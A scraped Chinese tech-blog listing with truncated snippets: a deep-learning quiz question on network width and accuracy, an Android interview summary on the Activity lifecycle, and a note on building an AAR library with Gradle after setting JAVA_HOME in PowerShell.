1.如果增加神经网络的宽度&#xff0c;精确度会增加到一个特定阈值后&#xff0c;便开始降低。造成这一现象的可能原因是什么&#xff1f; A、即使增加卷积核的数量&#xff0c;只有少部分的核会被用作预测 B、当卷积核数量增加时&#xff0c;神经网络的预测能力会降低 C、当卷…...

Android第十三次面试总结(四大 组件基础)

Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成&#xff0c;用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机&#xff1a; ​onCreate()​​ ​调用时机​&#xff1a;Activity 首次创建时调用。​…...

安卓基础(aar)

重新设置java21的环境&#xff0c;临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的&#xff1a; MyApp/ ├── app/ …...